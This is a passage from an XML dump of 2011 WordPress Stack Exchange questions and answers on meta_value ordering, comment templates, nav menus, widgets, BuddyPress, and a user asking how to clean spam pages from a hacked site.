headers&#xA;    $headers = array(&#xA;        'From: '.get_bloginfo('name').' &amp;lt;'.get_bloginfo('admin_email').'&amp;gt;',&#xA;        &quot;Content-Type: text/html&quot;&#xA;    );&#xA;    $h = implode(&quot;\r\n&quot;,$headers) . &quot;\r\n&quot;;&#xA;&#xA;    // Send email&#xA;    wp_mail($args['email'], 'Renew Your Coupon Now!', $text, $h);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As always, thanks so much for your help!&lt;/p&gt;&#xA;" OwnerUserId="4850" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-04-23T21:57:56.080" LastActivityDate="2011-05-12T04:28:43.280" Title="Using wp_schedule_single_event with arguments to send email" Tags="&lt;wp-cron&gt;&lt;wp-mail&gt;" AnswerCount="2" CommentCount="7" />
  <row Id="15476" PostTypeId="2" ParentId="12484" CreationDate="2011-04-23T22:11:58.743" Score="1" ViewCount="" Body="&lt;p&gt;My educated guess is that process is implemented in &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.1/wp-admin/includes/class-wp-upgrader.php#L596&quot; rel=&quot;nofollow&quot;&gt;Theme_Upgrader&lt;/a&gt; class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does some stuff with &lt;code&gt;upgrader_post_install&lt;/code&gt; hook (seems like a good candidate) and it does run &lt;code&gt;switch_theme()&lt;/code&gt; under some conditions (that I am too lazy to make sense of at moment).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-23T22:11:58.743" />
  <row Id="15477" PostTypeId="1" AcceptedAnswerId="15499" CreationDate="2011-04-23T23:33:13.180" Score="0" ViewCount="407" Body="&lt;p&gt;Aa you know, as of WP3.0 there are options for custom advanced queries, which is great.&#xA;As of this, some query parameters of custom fields like meta_key, meta_value were deprecated for the new meta_query parameter (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query#Custom_Field_Parameters&quot; rel=&quot;nofollow&quot;&gt;see here&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try to have a pretty simple query with the new syntax, query posts by a certain post_type (services) that contains a specified meta_key (order_in_archive)- this is going well as expected. &#xA;But - I want to orderby the query by the meta_value, and with no success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my query - &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   query_posts(&#xA;    array(  'post_type' =&amp;gt; 'services',&#xA;        'order' =&amp;gt; 'ASC',&#xA;        'orderby' =&amp;gt; 'meta_value',&#xA;        'meta_query' =&amp;gt; array(&#xA;            array('key' =&amp;gt; 'order_in_archive'))&#xA;    )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried orderby also by meta_value_numeric and meta_value, but in any case the results are being ordered by the publication date (as regular posts do).&#xA;Anyone know how can this be done? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2063" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-04-24T03:30:23.030" LastActivityDate="2011-04-24T09:31:24.300" Title="Custom query with orderby meta_value of custom field" Tags="&lt;custom-field&gt;&lt;query-posts&gt;" AnswerCount="2" />
  <row Id="15478" PostTypeId="1" AcceptedAnswerId="15486" CreationDate="2011-04-24T00:00:58.330" Score="0" ViewCount="48" Body="&lt;p&gt;This code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php comments_template( '', true ); ?&amp;gt;    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Outputs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h3 id=&quot;comments-title&quot;&amp;gt;&#xA;  &amp;lt;h2&amp;gt;&#xA;     12 Responses to My Post.&#xA;  &amp;lt;/h2&amp;gt;&#xA;&amp;lt;/h3&amp;gt;&#xA;(comments template)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't know where this h2 tag comes from. I want to get rid of that. And customize my comments-title (so there will be h4 instead of h3 and &quot;comments&quot; instead of &quot;Responses&quot;. How to achieve that? &lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-04-24T01:40:42.787" Title="Wordpress comments title" Tags="&lt;theme-development&gt;&lt;comments&gt;" AnswerCount="1" />
  <row Id="15479" PostTypeId="2" ParentId="15477" CreationDate="2011-04-24T00:07:14.673" Score="1" ViewCount="" Body="&lt;p&gt;The WP Codex is actually confusing when addressing this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You do not actually need the meta_query param to use the orderby, instead it uses the meta_key param, which although by WP Codex is deprecated is has been established here: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/10941/how-do-you-use-orderby-with-meta-query-in-wordpress-3-1&quot;&gt;How do you use orderby with meta_query in Wordpress 3.1?&lt;/a&gt; that orderyby still needs the meta_key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so it should be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts( array(&#xA;  'post_type' =&amp;gt; 'services',&#xA;  'order' =&amp;gt; 'ASC',&#xA;  'orderby' =&amp;gt; 'meta_value',&#xA;  'meta_key' =&amp;gt; 'order_in_archive'&#xA;) )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2011-04-24T00:07:14.673" CommentCount="1" />
  <row Id="15480" PostTypeId="1" AcceptedAnswerId="15482" CreationDate="2011-04-24T00:20:37.257" Score="1" ViewCount="47" Body="&lt;p&gt;The site is Videos-de-musica.com it is a simple wordpress blog with music videos. Somehow the subdomain stats.videos-de-musica.com filled up with spam, I remember setting the domain for pwiki stats, but then uninstalled it and I don't remember what happened to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an example spam page stats.videos-de-musica.com/aal-0exe.htm&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you search PRINTABLE SUPERMAN EMBLEM BATMAN on Google that is the first result, and when you access it you are redirected to a &quot;Google has found malicious software may be installed onto your computer if you proceed&quot; scam site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried disabling all the plugins with no change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know what happened and how to remove this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am downloading all the site directory to search for any clues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="4851" LastActivityDate="2011-04-24T00:31:39.627" Title="Something is generating spam pages on my site" Tags="&lt;plugins&gt;&lt;spam&gt;" AnswerCount="1" />
  <row Id="15481" PostTypeId="1" CreationDate="2011-04-24T00:23:23.703" Score="-1" ViewCount="289" Body="&lt;p&gt;I have the twenty ten template installed. How do I edit it to make the right column bigger so I can put google ad of 300 width there? &lt;/p&gt;&#xA;" OwnerUserId="4852" LastActivityDate="2011-04-25T22:34:24.807" Title="Twenty Ten 1.2 by the WordPress team - how to make the right column bigger?" Tags="&lt;template&gt;" AnswerCount="1" />
  <row Id="15482" PostTypeId="2" ParentId="15480" CreationDate="2011-04-24T00:31:39.627" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@JavierRey:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You probably downloaded a theme or plugin that added a &lt;em&gt;&quot;backdoor.&quot;&lt;/em&gt;  &lt;a href=&quot;http://wordpress.stackexchange.com/users/2232/otto&quot;&gt;Otto&lt;/a&gt; has a good post on the subject:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ottopress.com/2009/hacked-wordpress-backdoors/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;How to find a backdoor in a hacked WordPress&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="89" LastActivityDate="2011-04-24T00:31:39.627" CommentCount="2" />
  <row Id="15483" PostTypeId="1" AcceptedAnswerId="15484" CreationDate="2011-04-24T00:38:39.123" Score="5" ViewCount="182" Body="&lt;p&gt;I'm using mac os x 10.6 with xampp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://wp3.1/&lt;/code&gt; is the url to where I have WordPress installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The physical path is &lt;code&gt;/Users/myUserName/Sites/wp3.1/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not install plugins or themes in the &quot;natural&quot; way. I have created a directory named &quot;git&quot; which is located in &lt;code&gt;/Users/myUserName/git/&lt;/code&gt;. This is where all my git repositories live. When I want to install a plugin, I just create a symbolic link in &lt;code&gt;/Users/myUserName/Sites/wp3.1/wp-content/plugins/&lt;/code&gt;. This works great for simple plugins, but if the plugin enqueue's a style sheet or script, the url displays as:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://wp3.1/wp-content/plugins/Users/myUserName/git/options-framework-plugin/css/colorpicker.css?ver=3.1.1&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I fix this?&lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-04-24T00:48:54.957" Title="Symbolic Links on dev box with plugins and stylesheets" Tags="&lt;3.1&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="15484" PostTypeId="2" ParentId="15483" CreationDate="2011-04-24T00:48:54.957" Score="5" ViewCount="" Body="&lt;p&gt;Symbolic links are … &lt;a href=&quot;http://wordpress.stackexchange.com/questions/15202/plugins-in-symlinked-directories&quot;&gt;risky&lt;/a&gt; in WordPress. It is easier to use a separate domain for plugins per wp-config.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( 'WP_PLUGIN_DIR', '/local/path/to/plugin/directory' );&#xA;define( 'WP_PLUGIN_URL', 'http://plugins.dev');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-04-24T00:48:54.957" CommentCount="6" />
  <row Id="15485" PostTypeId="1" CreationDate="2011-04-24T01:02:30.057" Score="1" ViewCount="52" Body="&lt;p&gt;I want to restrict certain themes so they can only be usable by the an admin. If I network a theme then everyone has access to it. How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="2178" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-04-24T03:40:19.360" LastActivityDate="2011-04-24T03:40:19.360" Title="How can I make some themes usable only by admins?" Tags="&lt;themes&gt;&lt;theme-options&gt;&lt;network&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="15486" PostTypeId="2" ParentId="15478" CreationDate="2011-04-24T01:40:42.787" Score="1" ViewCount="" Body="&lt;p&gt;Comment markup - both the comments list and the comment reply form, will be in the &lt;code&gt;comments.php&lt;/code&gt; template file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The contents of this file are entirely Theme-dependent, so any more-specific help will require the content of &lt;code&gt;comments.php&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-24T01:40:42.787" />
  <row Id="15487" PostTypeId="1" CreationDate="2011-04-24T02:47:15.677" Score="0" ViewCount="41" Body="&lt;p&gt;I was wondering if anyone knew of a way to show specific styles to the activity loop depending on the activity type?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I had an idea of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mycustom_act_type() {&#xA;if ('friendship_created' != bp_get_activity_type() )&#xA;echo ' style=&quot;background:red;&quot; ';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this is in the &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; whithin the loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li &amp;lt;?php mycustom_act_type()?&amp;gt; &amp;gt;blah &amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but obviously doesn't work. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2741" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-24T23:09:20.133" LastActivityDate="2011-04-24T23:09:20.133" Title="Show css depending on activity type in BuddyPress activity-loop" Tags="&lt;php&gt;&lt;functions&gt;&lt;loop&gt;&lt;buddypress&gt;" />
  <row Id="15488" PostTypeId="2" ParentId="15455" CreationDate="2011-04-24T03:03:11.873" Score="3" ViewCount="" Body="&lt;p&gt;The Problem with your code is that its not actually adding the links to the menu and only to the menu's output, hence the use of a filter (add_filter) so you are just filtering the output of the menu in fact even if you don't have a menu your link will be shown with the code you are using. But to create a link and add it to a menu you can use this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$run_once = get_option('menu_check');&#xA;if (!$run_once){&#xA;    //give your menu a name&#xA;    $name = 'theme default menu';&#xA;    //create the menu&#xA;    $menu_id = wp_create_nav_menu($name);&#xA;    //then get the menu object by its name&#xA;    $menu = get_term_by( 'name', $name, 'nav_menu' );&#xA;&#xA;    //then add the actuall link/ menu item and you do this for each item you want to add&#xA;    wp_update_nav_menu_item($menu-&amp;gt;term_id, 0, array(&#xA;        'menu-item-title' =&amp;gt;  __('Home'),&#xA;        'menu-item-classes' =&amp;gt; 'home',&#xA;        'menu-item-url' =&amp;gt; home_url( '/' ), &#xA;        'menu-item-status' =&amp;gt; 'publish'));&#xA;&#xA;    //then you set the wanted theme  location&#xA;    $locations = get_theme_mod('nav_menu_locations');&#xA;    $locations['main-menu'] = $menu-&amp;gt;term_id;&#xA;    set_theme_mod( 'nav_menu_locations', $locations );&#xA;&#xA;    // then update the menu_check option to make sure this code only runs once&#xA;    update_option('menu_check', true);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I commented all over to make it simpler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create a child page/sub page/second level menu (how ever you may call it), you just need to set the &lt;code&gt;menu-item-parent-id&lt;/code&gt; in the new item for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//create the top level menu item (home)&#xA;$top_menu = wp_update_nav_menu_item($menu-&amp;gt;term_id, 0, array( &#xA;    'menu-item-title' =&amp;gt;  __('Home'),&#xA;    'menu-item-classes' =&amp;gt; 'home',&#xA;    'menu-item-url' =&amp;gt; home_url( '/' ), &#xA;    'menu-item-status' =&amp;gt; 'publish'&#xA;    'menu-item-parent-id' =&amp;gt; 0,&#xA;    ));&#xA;//Sub menu item (first child)&#xA;$first_child = wp_update_nav_menu_item($menu-&amp;gt;term_id, 0, array( &#xA;    'menu-item-title' =&amp;gt;  __('First_Child'),&#xA;    'menu-item-classes' =&amp;gt; 'home',&#xA;    'menu-item-url' =&amp;gt; home_url( '/' ), &#xA;    'menu-item-status' =&amp;gt; 'publish'&#xA;    'menu-item-parent-id' =&amp;gt; $top_menu,&#xA;    ));&#xA;//Sub Sub menu item (first child)&#xA;$Second_child = wp_update_nav_menu_item($menu-&amp;gt;term_id, 0, array( &#xA;    'menu-item-title' =&amp;gt;  __('Second_Child'),&#xA;    'menu-item-classes' =&amp;gt; 'home',&#xA;    'menu-item-url' =&amp;gt; home_url( '/' ), &#xA;    'menu-item-status' =&amp;gt; 'publish'&#xA;    'menu-item-parent-id' =&amp;gt; $first_child,&#xA;    ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;also you can set the position by code with &lt;code&gt;menu-item-position&lt;/code&gt;&#xA;and i think its done like this: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First item - 'menu-item-position' =&gt; 1 &#xA;&lt;ul&gt;&#xA;&lt;li&gt;First item first child - 'menu-item-position' =&gt; 1 &lt;/li&gt;&#xA;&lt;li&gt;First item second child - 'menu-item-position' =&gt; 1 &#xA;&lt;ul&gt;&#xA;&lt;li&gt;First item second child first child - 'menu-item-position' =&gt; 1 &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Second item - 'menu-item-position' =&gt; 2 &lt;/li&gt;&#xA;&lt;li&gt;3rd item - 'menu-item-position' =&gt; 3 &lt;/li&gt;&#xA;&lt;li&gt;4th item - 'menu-item-position' =&gt; 4 &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-04-25T00:10:11.430" LastActivityDate="2011-04-25T00:10:11.430" CommentCount="12" />
  <row Id="15489" PostTypeId="2" ParentId="15485" CreationDate="2011-04-24T03:39:15.663" Score="1" ViewCount="" Body="&lt;p&gt;Its built in that way so you can have themes only on specific blogs:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Disable the theme under Super Admin&#xA;-&gt; Themes.&lt;/li&gt;&#xA;&lt;li&gt;Enable the theme for one site under&#xA;Super Admin -&gt; Edit the site you&#xA;want. Look on the top right, there's&#xA;a list of disabled themes.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-24T03:39:15.663" />
  <row Id="15490" PostTypeId="1" AcceptedAnswerId="15493" CreationDate="2011-04-24T04:30:36.793" Score="1" ViewCount="67" Body="&lt;p&gt;I want to put my flair in as a widget in the top of my sidebar in my blog. There was a similar question asked &lt;a href=&quot;http://wordpress.stackexchange.com/questions/4891/how-to-use-stack-flair-in-wordpress-site&quot;&gt;here&lt;/a&gt; but the only answer links to the flair page and suggests copying and pasting the html into the theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to edit my theme, I want to be able to add is as a widget. Is this possible? &lt;/p&gt;&#xA;" OwnerUserId="3689" LastActivityDate="2011-04-24T05:42:34.183" Title="How to put Stack Exchange Flair as widget?" Tags="&lt;widgets&gt;&lt;images&gt;" AnswerCount="2" />
  <row Id="15491" PostTypeId="1" CreationDate="2011-04-24T04:39:49.733" Score="0" ViewCount="109" Body="&lt;p&gt;This is screenshot after when i installed wp-commerce plugin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/cx7tZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is manager screenshot on ecommerce plugin website &#xA;&lt;a href=&quot;http://getshopped.org/wp-content/uploads/2010/01/screenshot-install-06.jpg&quot; rel=&quot;nofollow&quot;&gt;http://getshopped.org/wp-content/uploads/2010/01/screenshot-install-06.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i can't to find out sales manager like as on ecommerce website.&lt;/p&gt;&#xA;" OwnerUserId="4853" LastEditorUserId="4853" LastEditorDisplayName="" LastEditDate="2011-04-24T04:55:38.043" LastActivityDate="2011-05-14T18:33:44.387" Title="Where sales manager of WP-Commerce plugin?" Tags="&lt;plugins&gt;&lt;wp-ecommerce&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="15492" PostTypeId="2" ParentId="15490" CreationDate="2011-04-24T05:38:35.857" Score="1" ViewCount="" Body="&lt;p&gt;Just copy and past your flair code into the default text widget.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-04-24T05:38:35.857" />
  <row Id="15493" PostTypeId="2" ParentId="15490" CreationDate="2011-04-24T05:42:34.183" Score="3" ViewCount="" Body="&lt;h2&gt;You can add the flair code to a text widget.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/2XCAi.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Then go to your WordPress dashboard Appearance -  &gt; Widgets&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/nycCj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Your flair in the sidebar&lt;img src=&quot;http://i.stack.imgur.com/lfxzR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/h2&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-04-24T05:42:34.183" />
  <row Id="15494" PostTypeId="2" ParentId="15140" CreationDate="2011-04-24T07:01:20.870" Score="0" ViewCount="" Body="&lt;p&gt;You can create a widget (&lt;a href=&quot;http://codex.wordpress.org/Widgets_API#Developing_Widgets&quot; rel=&quot;nofollow&quot;&gt;Create a Widget&lt;/a&gt;) like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php /*&#xA;Plugin Name: WDG&#xA;Plugin URI: &#xA;Description: Plugin&#xA;Version: 0.1&#xA;Author URI: &#xA;*/&#xA;add_action( 'widgets_init', 'my_wdg' );&#xA;function my_wdg() {&#xA;    register_widget( 'Wdg' );&#xA;}&#xA;class Wdg extends WP_Widget {&#xA;    function Wdg() {&#xA;            /* Settings of widget */&#xA;        $widget_ops = array( 'classname' =&amp;gt; 'Widget', 'description' =&amp;gt; ' Plugin' );&#xA;&#xA;        /* Control settings of widget */&#xA;        $control_ops = array( 'width' =&amp;gt; 300, 'height' =&amp;gt; 350, 'id_base' =&amp;gt; 'wdg' );&#xA;&#xA;        /* Create widget */&#xA;        $this-&amp;gt;WP_Widget( 'wdg', 'Wdg', $widget_ops, $control_ops );&#xA;}&#xA;    function widget( $args, $instance ) {&#xA;    extract( $args );&#xA;&#xA;    /* User-selected settings. */&#xA;    $title = apply_filters('widget_title', $instance['title'] );&#xA;&#xA;    /* Before widget (theme defined). */&#xA;    echo $before_widget;&#xA;&#xA;    /* Widget title (before e after theme defined). */&#xA;    if ( $title )&#xA;        echo $before_title . $title . $after_title;&#xA;             echo'     &amp;lt;div id=&quot;recent&quot;&amp;gt;&#xA;            &amp;lt;ul&amp;gt;';&#xA;             rewind_posts(); &#xA;             query_posts('posts_per_page=3');&#xA;                     if ( have_posts() ) : while ( have_posts() ) : the_post();?&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&#xA;                         &amp;lt;h5&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php the_title();?&amp;gt;&quot;&amp;gt;&#xA;                          &amp;lt;?php the_title();?&amp;gt;&#xA;                         &amp;lt;/a&amp;gt;&amp;lt;/h5&amp;gt;&#xA;                         &amp;lt;span&amp;gt;&#xA;                          &amp;lt;?php the_excerpt ?&amp;gt;&#xA;                         &amp;lt;/span&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;                      &amp;lt;?php endwhile; else: ?&amp;gt;&#xA;                      &amp;lt;p&amp;gt;I'm sorry&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;?php endif; ?&amp;gt;&#xA;                   &amp;lt;/ul&amp;gt;&#xA;                 &amp;lt;/div&amp;gt;&#xA;           &amp;lt;?php echo $after_widget; }&#xA;function update( $new_instance, $old_instance ) {&#xA;    $instance = $old_instance;&#xA;&#xA;    /* Strip tags modify qidget configuration. */&#xA;      $instance['title'] = strip_tags( $new_instance['title'] );&#xA;    return $instance;&#xA;}&#xA;&#xA;function form( $instance ) {&#xA;&#xA;    /* default widget setting */&#xA;    $defaults = array(              &#xA;                    'title' =&amp;gt;  'Recent Comments',&#xA;        );&#xA;    $instance = wp_parse_args( (array) $instance, $defaults ); ?&amp;gt;&#xA;&amp;lt;p&amp;gt;&#xA;    &amp;lt;label for=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id( 'title' ); ?&amp;gt;&quot;&amp;gt;Title:&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input id=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id( 'title' ); ?&amp;gt;&quot; name=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_name( 'title' ); ?&amp;gt;&quot; value=&quot;&amp;lt;?php echo $instance['title']; ?&amp;gt;&quot; style=&quot;width:100%;&quot; /&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;?php&#xA;    } &#xA; }  ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This widget probably works!&lt;/p&gt;&#xA;" OwnerUserId="4854" LastEditorUserId="4854" LastEditorDisplayName="" LastEditDate="2011-04-24T08:03:10.140" LastActivityDate="2011-04-24T08:03:10.140" />
  <row Id="15495" PostTypeId="5" CreationDate="2011-04-24T07:30:35.977" Score="0" ViewCount="" Body="&lt;p&gt;BuddyPress was conceived in 2008 while working to add social networking features to a WordPress MU powered site. The first official stable release was in May 2009. The platform has grown and morphed considerably since then, into the dynamic, easily extensible package you see today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just like its parent project WordPress, BuddyPress is a completely open source endeavor. Everything from the core code, to the documentation, themes and plugin extensions are all built by the BuddyPress community. This means anyone can help the project by contributing their time and knowledge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Important Links&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://buddypress.org&quot; rel=&quot;nofollow&quot;&gt;BuddyPress.org&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://buddypress.org/support/topics/&quot; rel=&quot;nofollow&quot;&gt;BuddyPress Support Forums&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://buddypress.org/extend/themes/&quot; rel=&quot;nofollow&quot;&gt;BuddyPress Themes&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://buddypress.org/extend/plugins/&quot; rel=&quot;nofollow&quot;&gt;Buddypress Plugins&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://buddypress.org/blog/&quot; rel=&quot;nofollow&quot;&gt;BuddyPress Development Blog&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://trac.buddypress.org/&quot; rel=&quot;nofollow&quot;&gt;BuddyPress Trac Ticketing System&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-24T10:52:19.490" LastActivityDate="2011-04-24T10:52:19.490" />
  <row Id="15496" PostTypeId="4" CreationDate="2011-04-24T07:30:35.977" Score="0" ViewCount="" Body="Social networking in a box, BuddyPress is a social networking plugin for WordPress." OwnerUserId="-1" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-24T10:52:22.220" LastActivityDate="2011-04-24T10:52:22.220" />
  <row Id="15497" PostTypeId="2" ParentId="11879" CreationDate="2011-04-24T08:53:28.023" Score="0" ViewCount="" Body="&lt;p&gt;You can try using &lt;code&gt;timthumb.php&lt;/code&gt; here: &lt;a href=&quot;http://www.darrenhoyt.com/2008/04/02/timthumb-php-script-released/&quot; rel=&quot;nofollow&quot;&gt;TimThumb&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4854" LastActivityDate="2011-04-24T08:53:28.023" />
  <row Id="15498" PostTypeId="1" CreationDate="2011-04-24T09:03:59.340" Score="0" ViewCount="104" Body="&lt;p&gt;hey guys,&#xA;weird problem. My blog theme works fine in ie8, ie9 and all other major browsers...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;however ie7 doesn't even render it? in ie7 it seems like my blog even has serverside problems?&#xA;&lt;img src=&quot;http://i.stack.imgur.com/MEh09.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any idea what could cause that? In my programming history i've encountered ie7 styling issues and stuff but never something like this that the webpage doesn't even get rendered? Sometimes the page is kind of loaded in ie7, however the browser does crash anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any idea what could cause that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If sometimes the page gets loaded in ie7 the bar at the bottom says: &quot;loaded but with errors&quot; ... I do not have a single error if I validate the page!&lt;/p&gt;&#xA;" OwnerUserId="3529" LastEditorUserId="3529" LastEditorDisplayName="" LastEditDate="2011-04-25T10:23:58.663" LastActivityDate="2011-08-26T12:35:01.483" Title="my blog crashes ie7?" Tags="&lt;themes&gt;&lt;errors&gt;&lt;debug&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="15499" PostTypeId="2" ParentId="15477" CreationDate="2011-04-24T09:31:24.300" Score="2" ViewCount="" Body="&lt;p&gt;You can define the meta key for &lt;em&gt;orderby&lt;/em&gt; parameter using the old method (I tested on WP 3.1.1)...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts(&#xA;    array(  'post_type' =&amp;gt; 'services',&#xA;            'order'     =&amp;gt; 'ASC',&#xA;            'meta_key' =&amp;gt; 'some_key',&#xA;            'orderby'   =&amp;gt; 'meta_value', //or 'meta_value_num'&#xA;            'meta_query' =&amp;gt; array(&#xA;                                array('key' =&amp;gt; 'order_in_archive',&#xA;                                      'value' =&amp;gt; 'some_value'&#xA;                                )&#xA;                            )&#xA;    )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2515" LastActivityDate="2011-04-24T09:31:24.300" />
